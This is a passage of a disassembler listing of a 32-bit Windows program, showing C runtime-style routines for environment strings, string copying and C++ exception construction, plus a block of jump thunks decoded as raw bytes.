sub eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_0] push ecx call sub_43CD20 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jl loc_43CC21 mov edx, [ebp+var_C] cmp dword ptr [edx], 0 jz loc_43CC21 cmp [ebp+var_14], 0 jz short loc_43CC13 push 2 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ecx+eax*4] push edx call sub_41F970 add esp, 8 jmp short loc_43CBBF ; --------------------------------------------------------------------------- loc_43CBB6: ; CODE XREF: sub_43CA40+19Ej mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_43CBBF: ; CODE XREF: sub_43CA40+174j mov ecx, [ebp+var_8] mov edx, [ebp+var_C] cmp dword ptr [edx+ecx*4], 0 jz short loc_43CBE0 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ebp+var_8] mov esi, [ebp+var_C] mov edx, [esi+edx*4+4] mov [ecx+eax*4], edx jmp short loc_43CBB6 ; --------------------------------------------------------------------------- loc_43CBE0: ; CODE XREF: sub_43CA40+189j push 0B9h push offset dword_440068 push 2 mov eax, [ebp+var_8] shl eax, 2 push eax mov ecx, [ebp+var_C] push ecx call sub_41F2C0 add esp, 14h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_43CC11 mov edx, [ebp+var_C] mov dword_4E9214, edx loc_43CC11: ; CODE XREF: sub_43CA40+1C6j jmp short loc_43CC1F ; --------------------------------------------------------------------------- loc_43CC13: ; CODE XREF: sub_43CA40+15Ej mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov [ecx+eax*4], edx loc_43CC1F: ; CODE XREF: sub_43CA40:loc_43CC11j jmp short loc_43CC94 ; --------------------------------------------------------------------------- loc_43CC21: ; CODE XREF: sub_43CA40+148j ; sub_43CA40+154j cmp [ebp+var_14], 0 jnz short loc_43CC8D cmp [ebp+var_8], 0 jge short loc_43CC35 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_43CC35: ; CODE XREF: sub_43CA40+1EBj push 0CEh push offset dword_440068 push 2 mov ecx, [ebp+var_8] lea edx, ds:8[ecx*4] push edx mov eax, [ebp+var_C] push eax call sub_41F2C0 add esp, 14h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_43CC69 or eax, 0FFFFFFFFh jmp loc_43CD1B ; --------------------------------------------------------------------------- loc_43CC69: ; CODE XREF: sub_43CA40+21Fj mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [ebp+arg_0] mov [edx+ecx*4], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov dword ptr [edx+ecx*4+4], 0 mov eax, [ebp+var_C] mov dword_4E9214, eax jmp short loc_43CC94 ; --------------------------------------------------------------------------- loc_43CC8D: ; CODE XREF: sub_43CA40+1E5j xor eax, eax jmp loc_43CD1B ; --------------------------------------------------------------------------- loc_43CC94: ; CODE XREF: sub_43CA40:loc_43CC1Fj ; sub_43CA40+24Bj cmp [ebp+arg_4], 0 jz short loc_43CD19 push 0E5h push offset dword_440068 push 2 mov ecx, [ebp+arg_0] push ecx call sub_41EBD0 add esp, 4 add eax, 2 push eax call sub_41EDD0 add esp, 10h mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_43CD19 mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_10] push eax call sub_422580 add esp, 8 mov ecx, [ebp+var_18] sub ecx, [ebp+arg_0] mov edx, [ebp+var_10] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_14] neg edx sbb edx, edx not edx and edx, [ebp+var_4] push edx mov eax, [ebp+var_10] push eax nop call near ptr 26F03C0h push 2 mov ecx, [ebp+var_10] push ecx call sub_41F970 add esp, 8 loc_43CD19: ; CODE XREF: sub_43CA40+258j ; sub_43CA40+285j xor eax, eax loc_43CD1B: ; CODE XREF: sub_43CA40+2Fj ; sub_43CA40+8Dj ... pop esi mov esp, ebp pop ebp retn sub_43CA40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CD20 proc near ; CODE XREF: sub_43CA40+139p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, dword_4E9214 mov [ebp+var_4], eax jmp short loc_43CD37 ; --------------------------------------------------------------------------- loc_43CD2E: ; CODE XREF: sub_43CD20:loc_43CD88j mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx loc_43CD37: ; CODE XREF: sub_43CD20+Cj mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_43CD8A mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4] mov edx, [ecx] push edx mov eax, [ebp+arg_0] push eax call sub_43C4F0 add esp, 0Ch test eax, eax jnz short loc_43CD88 mov ecx, [ebp+var_4] mov edx, [ecx] mov eax, [ebp+arg_4] movsx ecx, byte ptr [edx+eax] cmp ecx, 3Dh jz short loc_43CD7A mov edx, [ebp+var_4] mov eax, [edx] mov ecx, [ebp+arg_4] movsx edx, byte ptr [eax+ecx] test edx, edx jnz short loc_43CD88 loc_43CD7A: ; CODE XREF: sub_43CD20+48j mov eax, [ebp+var_4] sub eax, dword_4E9214 sar eax, 2 jmp short loc_43CD98 ; --------------------------------------------------------------------------- loc_43CD88: ; CODE XREF: sub_43CD20+37j ; sub_43CD20+58j jmp short loc_43CD2E ; --------------------------------------------------------------------------- loc_43CD8A: ; CODE XREF: sub_43CD20+1Dj mov eax, [ebp+var_4] sub eax, dword_4E9214 sar eax, 2 neg eax loc_43CD98: ; CODE XREF: sub_43CD20+66j mov esp, ebp pop ebp retn sub_43CD20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CDA0 proc near ; CODE XREF: sub_43CA40+58p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], 0 mov eax, [ebp+arg_0] mov [ebp+var_C], eax cmp [ebp+arg_0], 0 jnz short loc_43CDC0 xor eax, eax jmp loc_43CE8A ; --------------------------------------------------------------------------- loc_43CDC0: ; CODE XREF: sub_43CDA0+17j ; sub_43CDA0+3Bj mov ecx, [ebp+var_C] mov edx, [ecx] mov eax, [ebp+var_C] add eax, 4 mov [ebp+var_C], eax test edx, edx jz short loc_43CDDD mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx jmp short loc_43CDC0 ; --------------------------------------------------------------------------- loc_43CDDD: ; CODE XREF: sub_43CDA0+30j push 146h push offset dword_440068 push 2 mov edx, [ebp+var_10] lea eax, ds:4[edx*4] push eax call sub_41EDD0 add esp, 10h mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz short loc_43CE15 push 9 call sub_424980 add esp, 4 loc_43CE15: ; CODE XREF: sub_43CDA0+69j mov edx, [ebp+arg_0] mov [ebp+var_C], edx loc_43CE1B: ; CODE XREF: sub_43CDA0+DCj mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jz short loc_43CE7E push 14Fh push offset dword_440068 push 2 mov ecx, [ebp+var_C] mov edx, [ecx] push edx call sub_41EBD0 add esp, 4 add eax, 1 push eax call sub_41EDD0 add esp, 10h mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jz short loc_43CE6A mov eax, [ebp+var_C] mov ecx, [eax] push ecx mov edx, [ebp+var_8] mov eax, [edx] push eax call sub_422580 add esp, 8 loc_43CE6A: ; CODE XREF: sub_43CDA0+B4j mov ecx, [ebp+var_C] add ecx, 4 mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, 4 mov [ebp+var_8], edx jmp short loc_43CE1B ; --------------------------------------------------------------------------- loc_43CE7E: ; CODE XREF: sub_43CDA0+81j mov eax, [ebp+var_8] mov dword ptr [eax], 0 mov eax, [ebp+var_4] loc_43CE8A: ; CODE XREF: sub_43CDA0+1Bj mov esp, ebp pop ebp retn sub_43CDA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CE90 proc near ; CODE XREF: sub_43CA40+13p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp dword_4E96BC, 0 jnz short loc_43CEB2 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_422680 add esp, 8 jmp loc_43CF79 ; --------------------------------------------------------------------------- loc_43CEB2: ; CODE XREF: sub_43CE90+Bj push 19h call sub_425990 add esp, 4 jmp short loc_43CEC7 ; --------------------------------------------------------------------------- loc_43CEBE: ; CODE XREF: sub_43CE90:loc_43CF56j mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx loc_43CEC7: ; CODE XREF: sub_43CE90+2Cj mov eax, [ebp+arg_0] movzx cx, byte ptr [eax] mov word ptr [ebp+var_4], cx mov edx, [ebp+var_4] and edx, 0FFFFh test edx, edx jz short loc_43CF5B mov eax, [ebp+var_4] and eax, 0FFh xor ecx, ecx mov cl, byte_4E97C1[eax] and ecx, 4 test ecx, ecx jz short loc_43CF46 mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] test ecx, ecx jnz short loc_43CF18 push 19h call sub_425A30 add esp, 4 xor eax, eax jmp short loc_43CF79 ; --------------------------------------------------------------------------- loc_43CF18: ; CODE XREF: sub_43CE90+78j mov edx, [ebp+var_4] and edx, 0FFFFh shl edx, 8 mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] or edx, ecx cmp [ebp+arg_4], edx jnz short loc_43CF44 push 19h call sub_425A30 add esp, 4 mov eax, [ebp+arg_0] sub eax, 1 jmp short loc_43CF79 ; --------------------------------------------------------------------------- loc_43CF44: ; CODE XREF: sub_43CE90+A0j jmp short loc_43CF56 ; --------------------------------------------------------------------------- loc_43CF46: ; CODE XREF: sub_43CE90+64j mov edx, [ebp+var_4] and edx, 0FFFFh cmp [ebp+arg_4], edx jnz short loc_43CF56 jmp short loc_43CF5B ; --------------------------------------------------------------------------- loc_43CF56: ; CODE XREF: sub_43CE90:loc_43CF44j ; sub_43CE90+C2j jmp loc_43CEBE ; --------------------------------------------------------------------------- loc_43CF5B: ; CODE XREF: sub_43CE90+4Dj ; sub_43CE90+C4j push 19h call sub_425A30 add esp, 4 mov eax, [ebp+var_4] and eax, 0FFFFh cmp [ebp+arg_4], eax jnz short loc_43CF77 mov eax, [ebp+arg_0] jmp short loc_43CF79 ; --------------------------------------------------------------------------- loc_43CF77: ; CODE XREF: sub_43CE90+E0j xor eax, eax loc_43CF79: ; CODE XREF: sub_43CE90+1Dj ; sub_43CE90+86j ... mov esp, ebp pop ebp retn sub_43CE90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CF80 proc near ; CODE XREF: sub_41081E+19p ; sub_410905+19p ... var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43CF80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [ebp+var_3C] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp+var_38] call sub_4107B0 mov [ebp+var_4], 0 lea ecx, [ebp+var_38] push ecx lea ecx, [ebp+var_28] call sub_43D130 push offset dword_4403C0 lea edx, [ebp+var_28] push edx call sub_43DB60 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_43CF80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CFE0 proc near ; CODE XREF: sub_43D070+10p ; sub_43D250+Ep ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43CFE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_10] call sub_43D8E0 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] add ecx, 0Ch push ecx mov ecx, [ebp+var_10] add ecx, 0Ch call sub_41077B mov edx, [ebp+var_10] mov dword ptr [edx], offset off_440088 mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_10] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_43CFE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D050 proc near ; DATA XREF: .XComp0:0044008Co ; .XComp0:0044009Co ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] add ecx, 0Ch call sub_4108AA mov esp, ebp pop ebp retn sub_43D050 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D070 proc near ; DATA XREF: .XComp0:00440090o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_43CFE0 push offset dword_440430 lea ecx, [ebp+var_1C] push ecx call sub_43DB60 mov esp, ebp pop ebp retn sub_43D070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D0A0 proc near ; CODE XREF: sub_43D100+Ap ; sub_43D1D0+13p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43D0A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov eax, [ebp+var_10] mov dword ptr [eax], offset off_440088 mov [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 0Ch call sub_4107DD mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_10] call sub_43D9A0 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_43D0A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D100 proc near ; DATA XREF: .XComp0:off_440088o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_43D0A0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_43D125 mov ecx, [ebp+var_4] push ecx call sub_423AE0 add esp, 4 loc_43D125: ; CODE XREF: sub_43D100+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43D100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D130 proc near ; CODE XREF: sub_43CF80+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_43D160 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_440098 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43D130 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D160 proc near ; CODE XREF: sub_43D130+Ep ; sub_43D2E0+Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43D160 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 mov [ebp+var_14], ecx mov [ebp+var_10], offset dword_43EEFC lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_14] call sub_43D870 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_14] add ecx, 0Ch call sub_41077B mov edx, [ebp+var_14] mov dword ptr [edx], offset off_440088 mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_14] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_43D160 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D1D0 proc near ; CODE XREF: sub_43D220+Ap ; DATA XREF: .XComp0:004403C4o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_440098 mov ecx, [ebp+var_4] call sub_43D0A0 mov esp, ebp pop ebp retn sub_43D1D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D1F0 proc near ; DATA XREF: .XComp0:004400A0o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_43D250 push offset dword_4403C0 lea ecx, [ebp+var_1C] push ecx call sub_43DB60 mov esp, ebp pop ebp retn sub_43D1F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D220 proc near ; DATA XREF: .XComp0:off_440098o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_43D1D0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_43D245 mov ecx, [ebp+var_4] push ecx call sub_423AE0 add esp, 4 loc_43D245: ; CODE XREF: sub_43D220+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43D220 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D250 proc near ; CODE XREF: sub_43D1F0+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_43CFE0 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_440098 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43D250 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D280 proc near ; CODE XREF: sub_41098C+16p ; sub_410D40+13p var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43D280 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [ebp+var_3C] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp+var_38] call sub_4107B0 mov [ebp+var_4], 0 lea ecx, [ebp+var_38] push ecx lea ecx, [ebp+var_28] call sub_43D2E0 push offset dword_4404C0 lea edx, [ebp+var_28] push edx call sub_43DB60 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_43D280 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D2E0 proc near ; CODE XREF: sub_43D280+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_43D160 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_4400C0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43D2E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D310 proc near ; CODE XREF: sub_43D360+Ap ; DATA XREF: .XComp0:004404C4o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_4400C0 mov ecx, [ebp+var_4] call sub_43D0A0 mov esp, ebp pop ebp retn sub_43D310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D330 proc near ; DATA XREF: .XComp0:004400C8o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_43D390 push offset dword_4404C0 lea ecx, [ebp+var_1C] push ecx call sub_43DB60 mov esp, ebp pop ebp retn sub_43D330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D360 proc near ; DATA XREF: .XComp0:off_4400C0o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_43D310 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_43D385 mov ecx, [ebp+var_4] push ecx call sub_423AE0 add esp, 4 loc_43D385: ; CODE XREF: sub_43D360+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43D360 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D390 proc near ; CODE XREF: sub_43D330+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_43CFE0 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_4400C0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43D390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D3C0 proc near ; DATA XREF: .XComp0:00441010o push ebp mov ebp, esp call sub_411029 call sub_43D3E0 call sub_43D400 call sub_43D430 pop ebp retn sub_43D3C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D3E0 proc near ; CODE XREF: sub_43D3C0+8p push ebp mov ebp, esp push offset sub_411048 call sub_423C70 add esp, 4 pop ebp retn sub_43D3E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D400 proc near ; CODE XREF: sub_43D3C0+Dp push ebp mov ebp, esp xor eax, eax mov al, byte_4EA91C and eax, 1 test eax, eax jnz short loc_43D420 mov cl, byte_4EA91C or cl, 1 mov byte_4EA91C, cl loc_43D420: ; CODE XREF: sub_43D400+Fj pop ebp retn sub_43D400 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D430 proc near ; CODE XREF: sub_43D3C0+12p push ebp mov ebp, esp push offset sub_43D450 call sub_423C70 add esp, 4 pop ebp retn sub_43D430 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D450 proc near ; DATA XREF: sub_43D430+3o push ebp mov ebp, esp pop ebp retn sub_43D450 endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43D456 proc near ; CODE XREF: sub_40FD9F+145p nop jmp near ptr 71AB4544h sub_43D456 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 5Eh, 59h dd 0E9907167h, 71676E22h, 6723E990h, 0E9907167h, 7167C1C5h dd 8CE0E990h, 0E9907167h, 71683BA8h, 0B44DE990h, 0E9907167h dd 71676974h, 677088E9h, 0AE91671h, 0BB71676Ah, 91AFE990h dd 85E97167h, 0C071676Fh, 6BC0E990h, 0E9907167h, 716756B6h dd 573EE990h db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_43D4B6 proc near ; CODE XREF: .XComp0:0041E7DCp jmp near ptr 77C018BAh sub_43D4B6 endp ; --------------------------------------------------------------------------- db 0BDh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_43D4BC proc near ; CODE XREF: .XComp0:0041E7AFp jmp near ptr 77C01A50h sub_43D4BC endp ; --------------------------------------------------------------------------- db 67h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43D4C2 proc near ; CODE XREF: .XComp0:0041E76Ep nop jmp near ptr 77C019FFh sub_43D4C2 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0Ch, 0F9h dd 0E9907C3Dh, 2342C02h, 343096E9h, 0E9905502h, 2352B20h dd 353671E9h, 15E9CA02h, 0F002362Bh, 2C77E990h, 0E9900236h dd 2362E3Ch, 3014E990h, 3FE90236h, 0A6023635h, 355CE990h dd 0F1E90236h, 83023635h, 2AEAE990h, 0E9900237h, 2372CB5h dd 2EA3E990h, 0E9900237h, 2373099h, 31E4E990h, 0E9900237h dd 2373888h, 2AC6E990h, 0E9900238h, 2382C94h, 380BE990h dd 0E9900238h, 2392AB4h, 2DE2E990h, 0A9E90239h, 5D023A2Ah dd 3B2AA3E9h, 13E90202h, 53023B30h, 2A96E990h, 0E990023Ch dd 7C4C3B7Dh, 4C3A90E9h, 0E990537Ch, 23C31A0h, 3391E990h dd 0E990023Ch, 23D2A78h, 333EE990h, 0E990023Dh, 23D3634h dd 3E2A67E9h, 3CE93402h, 0A9023E30h, 3F2A5BE9h, 0E990E102h dd 2402A54h, 412A4FE9h, 0E9907102h, 2413AC3h, 3E96E990h dd 0E9900241h, 2422A3Ch, 3391E990h, 0E9900242h, 2432A30h dd 442A2BE9h, 0E9907602h, 2452A24h, 453C33E9h, 0E9907602h dd 2454702h, 2A12E990h, 0E9900246h, 2462B52h, 2A06E990h dd 0E9900247h, 24730F8h, 29FAE990h, 0F5E90248h, 0DC022B29h dd 2F74E990h, 0E9900248h, 2483110h, 29E2E990h, 0E9900249h dd 24930E9h, 4A29D7E9h, 0E9909202h, 24A3B6Ah, 3F33E990h dd 0E990024Ah, 24B29C4h, 29BEE990h, 0E990024Ch, 24C2EBCh dd 32F0E990h, 0E990024Ch, 24C3700h, 29A6E990h, 4EE9024Dh dd 0D4024D3Eh, 43E7E990h, 95E9024Dh, 7024E29h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43D66C proc near ; CODE XREF: sub_423320+27p ; sub_423690+13p nop jmp near ptr 2920166h sub_43D66C endp ; --------------------------------------------------------------------------- dw 0FDE9h dd 0DE024E32h, 33B5E990h, 7DE9024Eh, 6F024F29h, 35DDE990h dd 0E990024Fh, 24F363Dh, 0C4DCE990h, 0E9907C41h, 2502964h dd 502B2CE9h, 0E990E102h, 2502F11h, 3033E990h, 0E9900250h dd 251294Ch, 2946E990h, 41E90252h, 83025329h, 36CCE990h dd 0E9900253h, 2542934h, 2AD9E990h, 0E9900254h, 25434CBh dd 543643E9h, 76E9CF02h, 0DC025438h, 552917E9h, 0E990A602h dd 2552BEBh, 2F86E990h, 0E9900255h, 25535E5h, 28FEE990h dd 0E9900256h, 2562AF1h, 562B39E9h, 0E9905502h, 25632EBh dd 563324E9h, 0E990A602h, 25728E0h, 28DAE990h, 0E9900258h dd 25928D4h, 3B94E990h, 0E9900259h, 259403Dh, 426AE990h dd 0E9900259h, 25942F0h, 3428B7E9h, 0E9909A02h, 233372Ah dd 32EBE990h, 0E9900233h, 2332F7Ch, 2E25E990h, 0E9900233h dd 2332898h, 323366E9h, 0E9903702h, 232288Ch, 4BE6E990h dd 0E9900231h, 2314AA4h, 287AE990h, 0E9900231h, 2302874h dd 2F35CCE9h, 0E990A102h, 22F316Bh, 2862E990h, 5DE9022Fh dd 0C5022E28h, 387CE990h, 51E9022Dh, 0C0022D28h, 284AE990h dd 0E990022Ch, 22B2C04h, 0CCCCCCCCh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D7C0 proc near ; CODE XREF: sub_41A1B4+2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_43D7CE xor eax, eax jmp short loc_43D803 ; --------------------------------------------------------------------------- loc_43D7CE: ; CODE XREF: sub_43D7C0+8j mov eax, [ebp+arg_0] push eax call sub_41EBD0 add esp, 4 add eax, 1 push eax call sub_41EDA0 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_43D801 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] push edx call sub_422580 add esp, 8 jmp short loc_43D803 ; --------------------------------------------------------------------------- loc_43D801: ; CODE XREF: sub_43D7C0+2Dj xor eax, eax loc_43D803: ; CODE XREF: sub_43D7C0+Cj ; sub_43D7C0+3Fj mov esp, ebp pop ebp retn sub_43D7C0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov dword ptr [eax], offset off_4400D0 mov ecx, [ebp-4] mov dword ptr [ecx+4], 0 mov edx, [ebp-4] mov dword ptr [edx+8], 0 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D840 proc near 